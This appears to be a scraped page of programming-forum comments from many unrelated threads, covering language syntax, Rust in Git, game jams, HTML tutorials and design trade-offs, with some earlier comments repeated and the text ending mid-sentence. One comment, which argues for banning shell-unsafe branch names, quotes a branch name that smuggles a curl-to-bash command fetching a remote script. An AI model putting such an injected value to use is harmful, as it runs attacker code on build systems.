The title of this article is, in my opinion, in poor taste. The article makes almost no mention of it, and I was expecting an article related to its title, and not an explanation of the author’s programming language’s implementation of algebraic effects (or at least a link between the two that was more than a couple of sentences.)
There also isn’t an explanation as to why it would be computers and not the program (or here, the programming language.) It’s an important and interesting discussion, but it’s used only to bait-and-switch; and in particular, by using a variant of the known sentence that removes all responsibility from the program’s authors.
I think you make a fair point here. I’ve been iterating on the post for a while and hadn’t paid attention to the fact the last edit removed any mention. The cliche that side effects might “launch the missiles” is referenced only in the images. There is also no point in an explainer article having slight reference to “in jokes”.
by using a variant of the known sentence that removes all responsibility from the program’s authors.
This is an interesting thought. I really only wanted to emphasize that programs only act on input and have no “real” knowledge of the outside world. I’m hadn’t been making commentary on the program authors responsibility. Though as you correctly indicate also an interesting discussion.
I will think of an alternative title. “Explaining algebraic effects” might be all that’s needed.
It would be better without the clickbait title. Maybe fewer would read it, but those who do will take it more seriously. There are genuine ethical issues involved in authoring software; let’s not cheapen them.
Here’s another bit of syntax that Python lifted (lowered?) from maths, and not by way of Haskell. You can write chained inequality conditionals like a < x <= b. It’s not a huge deal, but I consider it a Nice Thing.
If your language can’t do that, then why the heck not? Type weenies, don’t tell me this is ill-typed; that just means your type system is weak. If you prefer, think of it as mixfix 3ary operator syntax: if you can parse both if/then and if/then/else (or similar constructions) then you really should be able to parse this.
I guess I’m a “type weenie”, and I like compound inequalities (not that I use any programming language that allows them).
If you prefer, think of it as mixfix 3ary operator syntax
I would find it unfortunate to limit it to 3-ary. I think a more general solution would be to have comparison operators return a type that implements the comparison operator interface and either implements a “Boolean-like” interface or decays to Boolean.
Yeah, that’s how Python does it. I should have said n-ary.
“Abuse of notation” is commonplace in mathematics, where the cultural consensus is that notation is valuable as a means of communicating with precision and thrift. We computer people have other concerns too, but I feel we often lose sight of these basic values.
IMO a range syntax like (a..=b).contains(x) is good enough and more versatile since ranges are broadly useful, but I definitely see where you’re coming from
In Varyx, instead of a <= x <= b, you can write x in a .. b, and you can also write a <= x < b as x in a -> b. Those are the two most common cases. I already have one parser hack so that if c1 then {...} else if c2 then {...} becomes if c1 then {...} else {if c2 then {...}} internally; I’m not going to add another hack just to handle a < x <= b.
I can’t do that cleanly because of the everything-is-a-binary-operation design. If you have a @ b @ c (where @ is some unspecified operator), it’s either left-associative ((a @ b) @ c) or right-associative (a @ (b @ c)). Those can also be written as f(f(a, b), c) and f(a, f(b, c)) respectively. I could invent a new form of associativity (say, “list-associative”) that parses to f(a, b, c) and handles a < x < b, but still doesn’t cover a < x <= b. And even that seems like an substantial increase in complexity for just one Nice Thing.
But even if it were a simple change, I’m not convinced I would — I’ve been very clear for a long time that binary operators are either left-associative or right-associative (or not associative at all), and that a < x always evaluates to a boolean value — and the a < x <= b syntax breaks those axioms.
On the other hand, Varyx does have right-associative chained assignment (a = b = c) as in C, as well as left-associative chained move (a <- b <- c), which is more efficient than (a, b) = (b, c).
No, but prohibition of commercial use is a restriction that’s incompatible with the GPL.
The irony is that the QuickDraw source code was presented the same way — so Donald Knuth could write a book about how beautiful it was (to be sold commercially, I presume), whereas the users of my free Mac emulator get no benefit at all.
I wasn’t expecting to see my own language in this list!
I only discovered this because the author filed a bug report about a quirk in Varyx’s parser, and after answering I checked out his profile and saw the 100-languages repository, reminding me of the headline I’d seen briefly on Lobsters.
Ha, I guess I should have expected a lot of the language authors to be on Lobsters! I don’t recall if I saw your language linked on here or the orange site, but I had filed it away to try–and finally got to it :)
Young teens play a game on their TV, blissfully unaware of the lack of makefiles its manufacturer previously provided to those requesting its source code.
As the maintainer of a Git port for MacRelix (a Unix-ish environment for classic Mac OS), which is built by an ancient Metrowerks C/C++ compiler running in classic Mac OS, I’m not thrilled at the idea of adding what in this context is an unsatisfiable build requirement.
One of Git’s strengths is that it’s so widely portable, and I fear that a Rust dependency would exclude not only classic Mac OS, but possibly other platforms on which the Rust infrastructure either doesn’t exist or isn’t well-maintained.
I understand, but the needs of 99.99% of users getting a better, faster dev tool with more features delivered quicker outweigh yours. Besides, you can use the current version of Git for a long time as well.
I would highly encourage folks focus on getting Rust working on their platform, because we’re currently at the bottom of an S curve – the amount of Rust code running on a typical computer is going to start going up very quickly.
the needs of 99.99% of users getting a better, faster dev tool with more features delivered quicker outweigh yours
It’s unclear that Rust is the only (or even best) way of providing this, and the presumption of everybody about that fact is what a lot of people are (and have been, for like a decade) been reacting to.
It might be worth it to look at, for example, the existing codebase. As C codebases go, it’s quite readable. It also is rather battle-tested, and rewriting it in Rust–or even just adding extra Rusty bits–could well compromise that.
I get that C isn’t a particularly compelling language when compared to Rust (or even better fit-for-purpose languages like Zig). But, it does have a lot of existing users and maintainers, it is easy to bootstrap onto niche systems (the few that don’t already have it), and it is a hell of a lot easier for a Rustacean to get the basics of C than the reverse.
I would highly encourage folks focus on getting Rust working on their platform, because we’re currently at the bottom of an S curve – the amount of Rust code running on a typical computer is going to start going up very quickly.
Logically speaking, I think you’ve got this somewhat reversed: it would seem that we’re unlikely to get up the S-curve unless people get working on their platform. While an honest error, this is the sort of thing that makes the Rust Evangelion Strike Force efforts as uncompelling today as when they were thick like flies with “Rewrite it in Rust!” years ago pretty much anytime anybody brought up any software project they had.
It’s unclear that Rust is the only (or even best) way of providing this
It hopefully won’t remain true forever, but in 2024 Rust is by far the best language to write new systems like Git in. If you were starting a new source control project today, it would be a mistake to use anything other than Rust.
The calculus for existing systems is more complicated, but the desire to write Rust isn’t coming out of nowhere. Rust has a multi year track record of delivering dev tools that are very fast and very high-quality, with great support on both Windows and Unix platforms.
I started writing Rust professionally in 2017, when that track record didn’t exist. But in the systems communities I was in which tended to be both experienced and forward-thinking, it was quickly becoming clear that Rust was going to become the dominant systems language within the next 10-15 years. These were long-time kernel and systems hackers who were getting quite fed up with C and C++. I was still relatively junior then, and I’m quite glad I paid attention to them!
or even better fit-for-purpose languages like Zig
No, Zig doesn’t have memory safety as a core property, and it is not as good a fit as Rust for writing systems where correctness is non-negotiable, like source control. (It is also significantly less mature than Rust.)
I have written and shipped a large body of source control code in both C and Rust.
it is a hell of a lot easier for a Rustacean to get the basics of C than the reverse.
The basics are not enough to write C correctly and to a modern standard (no memory safety issues, no UB, takes advantage of multi core processors). I don’t believe humans can write C to a modern standard 100% of the time even with a lifetime of training, while writing Rust to that standard can be done with a few months of sustained learning.
Speaking more personally, I have no real interest in ever writing or contributing to a C project again unless I’m getting paid to do so.
Logically speaking, I think you’ve got this somewhat reversed: it would seem that we’re unlikely to get up the S-curve unless people get working on their platform.
No, it is far more likely that platforms that don’t support Rust will simply stop getting new software.
It’s unclear that Rust is the only (or even best) way of providing this
I don’t see anybody pushing for Rust at the expense of other ways to improve Git ? Some people think Rust will help and are pushing for it, no absolutist view needed. Git is a pragmatic project and has always been multilingual, I’m sure if other languages or big changes get suggested, their pros and cons will get discussed as well.
C […] does have a lot of existing users and maintainers
So does Rust (SO, /DATA, GitHub PRs). It’s not the only language that could be used to improve Git, but it’s arguably the most popular one.
it is a hell of a lot easier for a Rustacean to get the basics of C than the reverse
The problem is that you need much more than the basics of C to productively contribute to Git. It may have clean code, but it’s a complex project with huge QA requirements. I’ve onboarded trainees into projects in many languages, the level of proficiency required to not break a codebase is much higher in C than in Rust. If somebody is new to system programming, I’d rather teach them about the pain of borrow checking than the horrors of UB.
we’re unlikely to get up the S-curve unless people get working on their platform
This story demonstrates otherwise: projects are considering the use of Rust despite the trouble it can cause for niche platforms. Git might eventually decide to cancel (or heavily postpone) the transition, but other projects will go ahead (many already have). For better or worse, niche platforms need Rust more than Rust needs niche platforms.
That’s for PowerPC Macs, not 68k. And realistically, you’re going to need std. Not to mention tracking Rust upstream, to say nothing of the whack-a-mole of crate dependencies you’ll need to patch…
Rust upstream has a m68k-unknown-linux-gnu target, getting a macos-classic target would be a fair amount of work, but it’s not unsatisfiable.
At some point, if you maintain an ancient platform, you have to decide whether you put in the work to bring modern software to it, or if you treat it as a museum piece. You can’t ask the rest of the world to stop evolving.
FWIW, perhaps using libgit2 might work out better for you. It’s written in C89 and seems mostly portable. I was deploying it in Visual Git, which was built with VC++6 and I was able to run it on NT 4 (with some work to make it go downlevel API wise).
While I have the opportunity to get your attention, is there a way to archive MacRelix’s current install loadout using something like httrack or rsync and then install it without access to the Internet?
I have a policy of only installing stuff on my retro-hobby machines that I’ve already pre-archived for longevity and reproducibility (plus, I’m not sure if your downloader knows how to see and use the copy of Privoxy they need to go through to see the ‘net as anything other than the intentionally invalid gateway address the DHCP tells them) and
I’m looking for something that I can serve up to the Mac OS 9.2 machines on my LAN over HTTP or Netatalk-based AppleShare, similar to how \\retro\Win9x\cygwin-1.5.25-15 contains a full archive of cygwin-legacy served up over Samba-based SMB/CIFS.
One possible mitigation is if branch names[1] with shell-unsafe characters (e.g. ‘$’) were simply disallowed in the first place.
[1] Like this one: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
I agree strongly, and am surprised that no one else is bringing the idea up — a deep problem here is that we tend to write code with a mental picture of the data that the code is manipulating, and that someone writing code that deals with a branch name is thinking of a string that vaguely slug-like: letters, numbers, some dashes. Maybe a colon or something if the project gets really crazy. But the underlying system refuses to undertake the reasonable step of actually locking down branch names to looking reasonable. I’m not sure what the thinking is. That GitHub should allow anything git allows? And presumably git was following an old tradition from Unix filenames, which can have all kinds of nonsense characters inside.
I am not sure which motivation for the system designer is stronger in cases of poor design like this: (a) the social fear that they will look dour and Puritan if they impose a rule like “branch names need to be letters numbers and dashes”, or (b) the technical fear that someone, someday, will actually desperately need to include a semicolon and double-quite in a branch name, but won’t be able to because GitHub disallowed it, and devastation will follow because someone made an overly strict rule and treated other developers like children.
I designed a file format for testing shell commands. It checks exit status (set by ?, or zero) and you can provide input and mandate output of individual file descriptors (as either single lines or multi-line here-documents).
Some examples using a shell and my command-line chess logic tester:
$ sh /dev/fd/3
? 1
3 << 'END'
set -e
echo pretty >&2
false
echo bad
END
1 >> ""
2 >= pretty
$ chess-test e4 e5 Bc4 Bc5 Nf3 Nf6 Rg1 Rg8 Rh1 Rh8 0-0 v
1 >= "castling forbidden"
$ chess-test e4 e5 Bc4 Bc5 Nf3 Nf6 a4 a5 Ra3 Ra6 0-0 v
1 >> '[END]'
n b q k r
v v v v v v
r n
v b v
^ B ^
R N
^ ^ ^ ^ ^ ^
N B Q R K
[END]
Thanks to writing a test suite, I did in fact find bugs in my chess logic engine. :-)
From my understanding, Rhombus (a Racket language) uses a bicameral syntax: shrubbery notation. There’s a paper “Rhombus: A New Spin on Macros without All the Parentheses” that goes deeper into shrubbery representation, which is produced from the reader phase in place of S-expressions. In other words, shrubbery notation aims to be “an extremely useful intermediate data structure” that is ready for some following parsing pass that can also handle macros.
I’ll be using my own language, Varyx, again. Since 2019, the first year I completed AoC on its 25th day, I’ve yearned to finish at the top of a certain private leaderboard, and in 2022 I accomplished that. Now I’m ready to stop racing and let others compete for that distinction if they wish.
Last year, I got frustrated at the puzzle difficulty half-way through and gave up. I expect the same to happen this year, but it’s my intention to do so more gracefully this time, with the goal of maximizing my enjoyment of AoC.
I usually also decide I don’t have “enough time” after 3-5 days :). Interesting languages. Factor is where my username (and company name) comes from btw.
The thing about not having enough time is that once you miss a day, you have 4 tasks in one day, so you’re less motivated to do that potentially, and so on. I don’t think I’ve ever made it beyond day 10 for this reason.
There was one year where every 2nd day was referencing each other, but in other years you can easily skip single or multiple days… if you can get over the fact that there’s this gaping hole in your star count.. I know what you mean, and I prefer to go all in or not participate, but I still think you can kinda go casual and just do how much you feel like.
I remember being surprised when I learned you could skip a day. The interface may not make that (or may not have at the time… it’s been a while) obviously doable.
Yeah, I really enjoyed that year as well, seems like many others didn’t but it was really a lot of fun to tinker around with my intcode interpreter, I have written it in a couple of languages by now :)
I used GNU Lilypond to create synthetic vocal practice tracks for one of the Journey movements. There’s a bug in either lilypond or fluidsynth that sometimes drops notes from multi-voice output, which I worked around by synthesizing each part (soprano, alto, tenor, bass) into separate WAV files, and using ffmpeg to mix them together into a choir track. Then I made four more tracks by mixing each separate part track with the choir track again, yielding a choir track with one part boosted. Only at the end did I run lame to compress to MP3 format. I wrote a Makefile to do this automatically, though I was in a rush and probably missed some dependencies.
(The bug is that if you have two voices (e.g. soprano and alto) using the same MIDI instrument (e.g. “choir aahs”) playing together in time and starting on the same note, the first pair of differing notes will lose the lower one.)
Normally I do a lot of programming, but recently I’ve been branching out — even within projects that are programming-centric.
Last weekend I participated in my first Ludum Dare game jam… as a voice actor!
This weekend I’ll design a second cursor for the ravynOS project, by writing a small script in Varyx (my language) using its experimental binding for Core Graphics. (Previously I did the standard arrow cursor, which required brushing up on trigonometry and a long-forgotten line-intersection formula, but this one is just 45-degree angles.) Technically I’ll be writing lines of code, but I’m really just defining some polygons.
All other programming will have to wait, though, as I have a week and a half to learn thirteen pieces of music for the upcoming NieR:Orchestra concert in which I’ll be singing.
So, how do we refer to files that aren’t in the current folder? We can use the .. syntax like this. <link rel="stylesheet" href="../css/simple.css">
I wonder why it recommends the ../ notation as the default, rather than the widespread practice of just doing /css/simple.css. It certainly should warn that the absolute notation breaks down when people try to host a website in a subdirectory like https://example.com/~jrandomhacker, but the book uses Neocities, which provides third-level domains.
I also wonder why the book chose to start from teaching people to write non-well-formed HTML at first. I believe teaching people the structure first is important.
But any manuals on making websites for beginner webmasters are certainly welcome.
Ok, that’s a fair point — the book also recommends testing websites by opening them as folders.
I wonder if it should recommend that. There are single-file web servers like RedBean, and I believe people generally should test the website through a web server, as it will be deployed. Having to manually track the depth of every page and add appropriate numbers of ../ seems like a perfect reason to rage-quit website building forever.
Shameless plug: I added an option to relativize all links to my SSG, but that request came from people who wanted to host outputs of documentation generators in a subdirectory of their website and those documentation generators didn’t have an option to generate relative links or prepend a prefix, which just highlights how universal the web server root assumption is in practice…
When showing html writing to kids 8+ I always start with invalid html. (Actually I start with a trivial example page with horrible typos - this triggers the desire to correct them). To get started publishing we do the least necessary and to see your effect is very motivating. Once the sophistication increases, we use tidy and progress to valid land.
IMO valid or invalid isn’t a thing in the beginning. You won’t correct a baby on every mispronounced word, either.
(I only glimpsed at it.) Writing invalid HTML is justifiable didactically, as you don’t need to explain a lot of boilerplate to get started. But I miss any reference to validation tools, later.
The fact that they backported the fix to not one but two old stable releases is kinda heart-warming in today’s cutthroat “run the latest version or die” environment.
That we have two concurrently supported versions of ESR is kinda normal for us.
115 is the last supported version known to work on Windows 7/8, so we have extended the support for a bit longer, while we hope that people will update their system and remember to install Firefox despite all of the nagging and Edge-related “refresh” offerings that Windows users seem to get these days.
Firefox 78? Yes, that one is very vulnerable. Vulnerable to this attack and all the ones we have seen in the dozens of versions we have released since then.
At this point, I believe your question is better directed at the #security matrix channel (#security:mozilla.org). But the TLDR is: Every modern exploit requires JavaScript. Whether you will be able to properly protect yourself by disabling JavaScript (or only enabling them on trusted websites) comes with a lot of follow-up questions about habit, targeting & threat models.
I disagree with a lot of what Stroustrup says, but I do like one comment from him (paraphrasing from memory):
There are two kinds of technologies, the ones everyone hates and the ones that no one uses.
Any useful technology is going to have to make a load of compromises to be useful. I consider it a good rule of thumb that, if you couldn’t sit down and write a few thousand words about all of the things you hate about a technology, you probably don’t understand it well enough to recommend it.
I’ve come to dislike that comment, and would put it in the same category as “everything is a tradeoff”. It’s a thought-terminating cliche that’s used to fend off criticism and avoid introspection.
There are such a thing as bad engineering decisions. Not everything was made with perfect information, implemented flawlessly to spec, with optimal allocation of resources. In fact many decisions are made on the bases of all kinds of biases, including personal preferences, limited knowledge, unclear goals, a bunch of gut feeling, etc.
And even a technology with good engineering decisions can turn a lot worse over time, e.g. when fundamental assumptions change.
I agree with you, but I’d like to defend the phrase “everything is a tradeoff” please!
To me, the natural corollary is that you should decide which set of tradeoffs are best for you.
All of the things you said are true but you can avoid a lot of pitfalls by being aware of what you are optimising for, what you are giving up, and why that might be appropriate in a given situation.
you should decide which set of tradeoffs are best for you.
(neo)Confucianism teaches that solutions don’t exist, rather just sets of trade offs. E.g. you can choose to have your current problem, or the problem which will occur if “solve” it.
What’s your background with Confucianism? I would say it’s fairly optimistic about human perfectibility. It’s maybe not utopian, but a sage king can rightly order the empire with the Mandate of Heaven at least. Or do you mean more contemporary Confucian inspired thought not classical (c300BCE) or neo (c1000CE)?
Neoconfucianism (in Chinese, study of “li”) synthesized it with Daoism and Buddhism (the 3 teachings). Wu wei is an important aspect of that li (logos, natural law) channeling the Zhuangzi’s pessimism. Yangmingzi riffs on this, believing in random action (experimenting?) but not consciously planning/acting towards plans. You’re to understand the trade offs etc. and map the different ways destiny may flow, but not act on them. Original Confucianism had a more limited focus (family first) which Zhang Zai extended, by treating everything as a bigger family, allowing Confucian approaches to apply to other domains.
One 4 character parable/idiom (which means “blessing in disguise”) has:
lose horse - poor
horse comes back with horse friends - richer
break leg - bad
don’t get drafted - good
background
Wing-tsit Chan and Lin Yutang made great translations and discussions on the history of ideas in Chinese thought. Though I may read Chen Chun, it’s really through their lenses as my Chinese isn’t yet up to snuff.
Okay. I wasn’t sure if by “neo” you meant like Daniel Bell’s New Confucianism.
I would say Wang Yangming is pretty optimistic about solutions. He’s against theoretical contemplation, but for the unity of knowledge and conduct, so ISTM the idea is you solve problems by acting intuitively. I’m sure if pressed he would acknowledge there are some tradeoffs, but I don’t see him as having a very pessimistic view or emphasizing the tradeoffs versus emphasizing perfecting your knowledge-conduct.
Thank you, I dug into this a bit deeper. I believe you are right and I have been misunderstanding some aspect of will./intention, which I struggle to articulate. Laozi and everything later building on it do seem to focus on (attempts to) control backfiring. I’m not sure if my pick-tradeoffs-lens is a productive innovation or missing the point. (How broadly/narrowly should we apply things?)
I’m also tired of hearing “everything is a trade-off” for that reason. I definitely like the phrase “thought-terminating cliche”.
It’s also not true. “Everything is a trade-off” implies that everything is already Pareto-optimal, which is crazy. Lots of things are worse than they could be without making any compromises. It even feels arrogant to say that anything is any kind of “optimal”.
There are such a thing as bad engineering decisions.
Of course, I think people mostly mean that there are bad approaches, but no perfect ones. (Or, more mathematically, the “better than” relation is often partial.)
Both sides phrases are inportant and meaningful, yes people can overuse them, and people can also fail to understand that “changing this behavior to be ‘sensible’” also is a trade off as changing behaviour can break existing stuff.
We can look at all sorts of things where the “trade off” being made is not obvious:
lack of safety in C/C++: yay performance! Downside: global performance cost due to myriad mitigations in software (aslr, hardened allocators, …) and hardware (pointer auth, mte, cheri, …) cost performance (power and speed) for everything
myriad weird bits of JS - mean lots of edge cases in the language, though in practice the more absurd cases aren’t hit and basic changes to style choices mitigate most of the remainder, so the cost of removing the behavior is unbounded and leaving it there has little practical cost
removing “print” statements from Python 3: made the language more “consistent” but imo was one of the largest contributors to just how long the 2->3 migration took, but was also entirely unnecessary from a practical point of view as a print statement is in practice distinguishable from a call
At the end of the day you might disagree with my framing/opinion of the trade offs being made, but they’re still trade offs, because trade offs are a fundamental part of every design decision you can ever make.
There’s nothing thought terminating about “everything is a trade off”, claiming that it is is itself thought terminating: it implies a belief that the decisions being made are not a trade off and that a decision is either right or wrong. That mentality leads to inflexibility, and arguably incorrect choices because it results in a design choices that don’t consider the trade offs being made.
“changing this behavior to be ‘sensible’” also is a trade off as changing behaviour can break existing stuff.
But what about the time when the decisions were actually made? What technical, calculated trade-offs did JS make when implementing its numerous inconsistencies, that are collectively seen as design failures?
claiming that it is is itself thought terminating: it implies a belief that the decisions being made are not a trade off and that a decision is either right or wrong
I definitely think some decisions can be right or wrong.
But what about the time when the decisions were actually made? What technical, calculated trade-offs did JS make when implementing its numerous inconsistencies, that are collectively seen as design failures?
The key tradeoff made in the development of JavaScript was to spend only a week and a half on it, sacrificing coherent design and conceptual integrity in exchange for a time-to-market advantage.
This isn’t really true. The initial prototype was made in 10 days but there were a lot of breaking changes up to Javascript 1.0 which was released a year later. Still a fairly short time frame for a new language but not exactly ten days.
At least there the weird quirks would’ve (hopefully) gotten fixed as bugs, because it has an actual language spec. OTOH, it might also have begotten generations of Scheme-haters and parenthophobes, or Microsoft’s Visual Basicscript would’ve taken off and we’d all be using that instead. Not sure what’s worse…
But what about the time when the decisions were actually made? What technical, calculated trade-offs did JS make when implementing its numerous inconsistencies, that are collectively seen as design failures?
Some behaviors are not the result of “decisions”, they’re just happenstance of someone writing code at the time without considering the trade offs because at the time they did not recognize that they were making a decision that had trade offs.
You’re saying there are numerous inconsistencies that were implemented, but that assumes that the inconsistencies were implemented, rather than an unexpected interaction of reasonable behaviors, without knowing the exact examples you’re thinking of I can’t speak to anything.
I definitely think some decisions can be right or wrong.
With the benefit of hindsight, or with a different view of the trade offs. Do you have examples of things where the decision was objectively wrong and not just a result of the weight of trade offs changing over time, such that the trade offs made in the past would not be made now?
A good example that happens all the time in the small is doing redundant work, mostly because you’re not aware it’s happening. Cloning data structures too often, verifying invariants multiple times, etc. I’ve seen a lot of cases where redundancies could be avoided with zero downside, if the author had paid more attention.
This makes me think how beautiful it is that crypto developers have managed to make NFT’s into not only something everyone hates but something nobody uses, at the same time
I consider it a good rule of thumb that, if you couldn’t sit down and write a few thousand words about all of the things you hate about a technology, you probably don’t understand it well enough to recommend it.
As a core element of good critical thinking, one should hypothetically be able to write such a criticism about anything they are a fan of. In fact, I encourage everyone to try this out as often as possible and push through the discomfort.
Notice I used the dreaded word “fan” there- which is the point of this comment: There should be a key distinction between someone who is a “fan” of a technology based on a critical evaluation of its pros and cons and someone who is a “fan” of a technology based on a relatively rosy assessment of its pros and a relatively blind assessment of its cons.
I think the OP blogger is really complaining about the latter. And, all other things being equal, I believe a developer using a technology chosen via critical assessment by a fan will always lead to superior work relative to a technology chosen via critical assessment by a non-fan. The fan, for example, will be motivated to know and understand things like the niche micro-optimizations to use that don’t make the code less readable (I’m thinking of, for example, the “for” construct in Elixir), and will likely use designs that align closer to the semantics of that particular language’s design than to languages in general.
One of the reasons I left Ruby and went to Elixir is that the “list of valid and impactful criticisms” I could come up with was simply shorter (and significantly so) with Elixir. (Perhaps I should blogpost a critical assessment of both.) And yes, I went from being a “fan” of Ruby to a “fan” of Elixir, but I can also rattle Elixir’s faults off the top of my head (slowish math, can’t compile to static binary, complex deployment, depends on BEAM VM/Erlang, still a bit “niche”, functional semantics more difficult to adopt for new developers, wonky language server in VSCode, no typing (although that’s about to change somewhat), not as easy to introspect language features as Ruby, etc.)
The other point I’d like to make is that even though “everything is a compromise,” there are certainly locally-optimal maxima with the more correct level of abstraction and the more correct design decisions. Otherwise we should all just code in Brainfuck because of its simple instruction set or in assembly because of its speed.
I think the distinction would be that I wouldn’t really call you a “fan” of Ruby or Elixir if you’re making these considered decisions, weighing the trade-offs, and considering whether they’re appropriate more-or-less dispassionately. You can certainly like languages, but I think if you call someone a “fan” of something, there’s an implication of a sort of blind loyalty. By analogy to sports fans, where a fan always supports their team, no matter who they’re up against, a fan of a particular technology is someone who always supports their particular technology, rails against those who criticize it, and hurls vitriol against “opponents” of their tool of choice.
Alright. Interesting distinction/clarification that gave me an idea.
So, in thinking of my Apple “fandom” that has been pretty consistent since I was 12 in 1984 when my family was simultaneously the last one in the neighborhood to get a family computer and the first ones to get a Mac (128k) and I was absolutely fucking enthralled in a way I cannot describe… which persisted through the near-death of 1997 and beyond into the iPod and iPhone era…
I think it has to do with “love”, frankly. If you “love” something, you see it through thick and thin, you stick around through difficulties, and you often (in particular if you contribute directly to the good quality of the thing, or the quality of its use, or its “evangelism”, or its community) literally believe the thing into a better version of itself over time.
The “likers”, in essence, value things based on the past and current objective value while the “lovers” (the fans) value things based on the perceived intrinsic and future value.
And the latter is quite irrational and thus indefensible and yet is the fundamental instrument of value creation.
But can also lead to failure. As we all know. The things the “likers” use are less risky.
One factor is that many software development projects are much closer to bike sheds than to skyscrapers. If someone is a fan of, say, geodesic domes (as in, believes that their current and/or future value is underrated), there is no reason not to try that in constructing a bike shed — it’s unlikely that whatever the builder is a fan of will completely fail to work for the intended purpose. The best outcome is that the technology will be proved viable or they will find ways to improve it.
If people set out to build a skyscraper from the start, then sure, they must carefully evaluate everything and reject unacceptable tradeoffs.
When people build a social network for students of a single college using a bikeshed-level technology stack because that’s what allowed them to build it quickly on zero budget and then start scaling it to millions users, it’s not the same problem as “started building a skyscraper from plywood”.
OTOH, no sane architect or engineer would expand a bikeshed into a skyscraper by continuing with the same materials and techniques. They’d probably trash the bikeshed and start pouring a foundation, for starters…
Exactly. When managers or VCs demand that a bikeshed is to be expanded into a skyscraper using the same materials, it’s not an engineering problem. Well, when engineers choose to do that, it definitely is. But a lot of the time, that’s not what happens.
Thank you! The “critical thinking” aspect is I think muddied by the article by setting up an ingroup/outgroup dichotomy with engineers on one side and fans on the other.
It’s normal to be a fan of something while also being fully aware of its trade-offs. Plus, sometimes an organization’s inertia needs the extra energetic push of advocacy (e.g. from a fanatic) to transition from a “good enough / nobody got fired for buying IBM” mentality into a better local optimum.
The mindset of “everything is a trade-off” is true but can also turn into a crutch and you end up avoiding thinking critically because oh well it’s just some trade-offs I can’t be bothered to fully understand.
“Engineers” and “fans” don’t look at the same trade-offs with different-colored glasses, they actually see different sets of trade-offs.
if you couldn’t sit down and write a few thousand words about all of the things you hate about a technology, you probably don’t understand it well enough to recommend it.
I would add: you should also be able to defend the options you didn’t choose. If someone can give a big list of reasons why Go is better than Rust, yet they still recommend Rust for this project, I’m a lot more likely to trust them.
There are two kinds of technologies, the ones everyone hates and the ones that no one uses.
This is true. I remember people hating Java, C++ and XML. Today I more often meet people hating Python, Rust and YAML. Sometimes it is the same people. Older technologies are well established and the hatred has run out. People have got used to it and take it for what it is. Hyped technologies raise false hopes and unrealistic expectations, which then lead to disappointment and hate.
The title of this article is, in my opinion, in poor taste. The article makes almost no mention of it, and I was expecting an article related to its title, and not an explanation of the author’s programming language’s implementation of algebraic effects (or at least a link between the two that was more than a couple of sentences.)
There also isn’t an explanation as to why it would be computers and not the program (or here, the programming language.) It’s an important and interesting discussion, but it’s used only to bait-and-switch; and in particular, by using a variant of the known sentence that removes all responsibility from the program’s authors.
For the confused (like myself until a moment ago), this article used to be called “Programs don’t kill people, computers do”.
I think you make a fair point here. I’ve been iterating on the post for a while and hadn’t paid attention to the fact the last edit removed any mention. The cliche that side effects might “launch the missiles” is referenced only in the images. There is also no point in an explainer article having slight reference to “in jokes”.
This is an interesting thought. I really only wanted to emphasize that programs only act on input and have no “real” knowledge of the outside world. I’m hadn’t been making commentary on the program authors responsibility. Though as you correctly indicate also an interesting discussion.
I will think of an alternative title. “Explaining algebraic effects” might be all that’s needed.
It would be better without the clickbait title. Maybe fewer would read it, but those who do will take it more seriously. There are genuine ethical issues involved in authoring software; let’s not cheapen them.
I think you mean cliche.
indeed I do thank you.
Well, the web page did. :-P
Here’s another bit of syntax that Python lifted (lowered?) from maths, and not by way of Haskell. You can write chained inequality conditionals like
a < x <= b. It’s not a huge deal, but I consider it a Nice Thing.If your language can’t do that, then why the heck not? Type weenies, don’t tell me this is ill-typed; that just means your type system is weak. If you prefer, think of it as mixfix 3ary operator syntax: if you can parse both
if/thenandif/then/else(or similar constructions) then you really should be able to parse this.CPL and BCPL had that feature in the 1960s – see section 9 in https://academic.oup.com/comjnl/article/6/2/134/364746 and section 5.2 in https://www.nokia.com/bell-labs/about/dennis-m-ritchie/bcpl.html
Sadly BCPL messed it up by failing to ensure that intermediate operands are evaluated at most once.
Icon also had an influence on Python, which is where I thought it may have got those chained conditionals from (along with some other stuff) - https://en.wikipedia.org/wiki/Icon_(programming_language)
I guess I’m a “type weenie”, and I like compound inequalities (not that I use any programming language that allows them).
I would find it unfortunate to limit it to 3-ary. I think a more general solution would be to have comparison operators return a type that implements the comparison operator interface and either implements a “Boolean-like” interface or decays to Boolean.
Yeah, that’s how Python does it. I should have said n-ary.
“Abuse of notation” is commonplace in mathematics, where the cultural consensus is that notation is valuable as a means of communicating with precision and thrift. We computer people have other concerns too, but I feel we often lose sight of these basic values.
IMO a range syntax like
(a..=b).contains(x)is good enough and more versatile since ranges are broadly useful, but I definitely see where you’re coming fromIn Varyx, instead of
a <= x <= b, you can writex in a .. b, and you can also writea <= x < basx in a -> b. Those are the two most common cases. I already have one parser hack so thatif c1 then {...} else if c2 then {...}becomesif c1 then {...} else {if c2 then {...}}internally; I’m not going to add another hack just to handlea < x <= b.I can’t do that cleanly because of the everything-is-a-binary-operation design. If you have
a @ b @ c(where@is some unspecified operator), it’s either left-associative ((a @ b) @ c) or right-associative (a @ (b @ c)). Those can also be written asf(f(a, b), c)andf(a, f(b, c))respectively. I could invent a new form of associativity (say, “list-associative”) that parses tof(a, b, c)and handlesa < x < b, but still doesn’t covera < x <= b. And even that seems like an substantial increase in complexity for just one Nice Thing.But even if it were a simple change, I’m not convinced I would — I’ve been very clear for a long time that binary operators are either left-associative or right-associative (or not associative at all), and that
a < xalways evaluates to a boolean value — and thea < x <= bsyntax breaks those axioms.On the other hand, Varyx does have right-associative chained assignment (
a = b = c) as in C, as well as left-associative chained move (a <- b <- c), which is more efficient than(a, b) = (b, c).The code is licensed only for non-commercial use, so it’s not so much a release as it is an exhibit.
(If you’re unclear on the difference, ask any resident of a zoo.)
I mean… CHM is literally a museum.
Did you have a commercial use in mind? Maybe a toy Alto, like https://retrogames.biz/products/ ?
No, but prohibition of commercial use is a restriction that’s incompatible with the GPL.
The irony is that the QuickDraw source code was presented the same way — so Donald Knuth could write a book about how beautiful it was (to be sold commercially, I presume), whereas the users of my free Mac emulator get no benefit at all.
This reminds me of Eelis’ Multi-Dimensional Analog Literals.
I wasn’t expecting to see my own language in this list!
I only discovered this because the author filed a bug report about a quirk in Varyx’s parser, and after answering I checked out his profile and saw the
